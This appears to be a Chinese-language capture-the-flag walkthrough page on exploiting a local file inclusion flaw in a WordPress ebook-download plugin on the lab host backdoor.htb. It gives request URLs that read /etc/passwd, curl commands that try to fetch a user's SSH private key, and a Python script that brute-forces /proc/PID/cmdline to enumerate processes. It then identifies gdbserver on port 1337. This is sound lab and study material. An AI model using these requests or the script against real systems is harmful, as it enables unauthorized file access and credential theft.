> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI Proc Logs

## LFI 漏洞利用

**敏感文件枚举：** 通过 /etc/passwd 列出系统用户：

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/058bd7fa5f2663f7c4c039349784e5554f29acc6" alt=""><figcaption></figcaption></figure>

尝试获取该用户的私有 SSH 密钥 `用户`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

这些尝试可能会失败，因为这些文件的权限受到限制。

<figure><img src="/files/623af35933341c778db0f4d1adb89ac63ec21c04" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**proc 的探索** 通过探查创建一个 Python 脚本来提取进程信息 `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] 正在退出.../n")
    sys.exit(1)
# LFI Proc 日志
signal.signal(signal.SIGINT, def_handler)
# LFI Proc 日志
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("暴力破解攻击")
    p1.status("开始暴力破解攻击")
    sleep(2)
    for i in range(1, 1000):
        p1.status("尝试使用路径 /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("路径：/proc/%s/cmdline" % str(i))
            log.info("总长度：%s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

通过分析进程，端口 1337 被识别为一个服务器 **gdbserver**.

<figure><img src="/files/b0da0ee3b6372b4ca5927ccb51f8d758421bcf8d" alt=""><figcaption></figcaption></figure>


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